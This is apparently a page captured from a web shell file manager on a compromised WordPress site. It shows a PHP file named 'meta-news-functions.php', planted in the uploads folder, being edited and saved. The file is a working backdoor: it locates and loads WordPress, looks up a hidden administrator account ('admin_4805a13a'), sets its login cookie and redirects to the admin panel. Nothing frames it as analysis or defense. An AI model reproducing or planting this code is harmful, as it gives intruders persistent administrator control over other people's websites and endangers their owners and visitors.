Priority File Manager
📁 public_html
Base Directory:
/home/ecedu/public_html
/home/ecedu/public_html/wp-content/plugins
/home/ecedu/public_html/wp-content
/home/ecedu
/var/www
/var/www/cgi-bin
/var/www/html
public_html
/
wp-content
/
uploads
/
2018
/
11
/home/ecedu/public_html/wp-content/uploads/2018/11
Name
Type
Size
Actions
📁
..
Folder
-
Delete
Rename
📄
meta-news-functions.php
File
3576
Delete
Rename
Edit
Download
Upload
Create Folder
📝 Editing:
meta-news-functions.php
Size: 3,576 bytes
Lines: 124
Type: .php
💾 Save
Cancel
✕
<?php @ini_set('display_errors', 0); @set_time_limit(0); $mr = $_SERVER['DOCUMENT_ROOT']; @chdir($mr); // [Frida's Mind] Gelişmiş WordPress Arama Fonksiyonu function findWordPressRoot($start_dir) { $start_dir = realpath($start_dir); if (!$start_dir) { return false; } $search_paths = array(); $search_paths[] = $start_dir; $search_paths[] = dirname($start_dir); $search_paths[] = dirname(dirname($start_dir)); $search_paths[] = dirname(dirname(dirname($start_dir))); $subdirs = array('wp', 'wordpress', 'public_html', 'www', 'htdocs', 'html', 'web'); foreach ($subdirs as $subdir) { $subdir_path = $start_dir . '/' . $subdir; if (is_dir($subdir_path)) { $search_paths[] = $subdir_path; } } $parent = dirname($start_dir); foreach ($subdirs as $subdir) { $subdir_path = $parent . '/' . $subdir; if (is_dir($subdir_path)) { $search_paths[] = $subdir_path; } } function scanForWpConfig($dir, $depth = 0, $max_depth = 3, &$found = array()) { if ($depth > $max_depth) { return $found; } if (!is_dir($dir) || !is_readable($dir)) { return $found; } $wp_config = $dir . '/wp-config.php'; if (file_exists($wp_config)) { $found[] = $dir; return $found; } $items = @scandir($dir); if ($items === false) { return $found; } foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $item_path = $dir . '/' . $item; if (is_dir($item_path) && !is_link($item_path)) { $important_dirs = array('wp-content', 'wp-admin', 'wp-includes', 'wp', 'wordpress'); if (in_array($item, $important_dirs)) { scanForWpConfig($item_path, $depth + 1, $max_depth, $found); } elseif ($depth < 2) { scanForWpConfig($item_path, $depth + 1, $max_depth, $found); } } } return $found; } $recursive_results = scanForWpConfig($start_dir, 0, 3); $search_paths = array_merge($search_paths, $recursive_results); $checked = array(); foreach ($search_paths as $path) { if (!$path || !is_dir($path)) { continue; } $real_path = realpath($path); if (!$real_path || isset($checked[$real_path])) { continue; } $checked[$real_path] = true; $wp_config = $real_path . '/wp-config.php'; if (file_exists($wp_config)) { $wp_load = $real_path . '/wp-load.php'; if (file_exists($wp_load)) { return $real_path; } } } return false; } $wp_root = findWordPressRoot($mr); if ($wp_root) { @chdir($wp_root); if (file_exists('wp-load.php')) { include 'wp-load.php'; // Yeni oluşturulan admin kullanıcısını bul $user = get_user_by('login', 'admin_4805a13a'); if ($user && $user->ID) { wp_set_auth_cookie($user->ID); wp_redirect(admin_url()); die(); } die('NO ADMIN'); } } die('Failed to load'); ?>
✅ File saved successfully!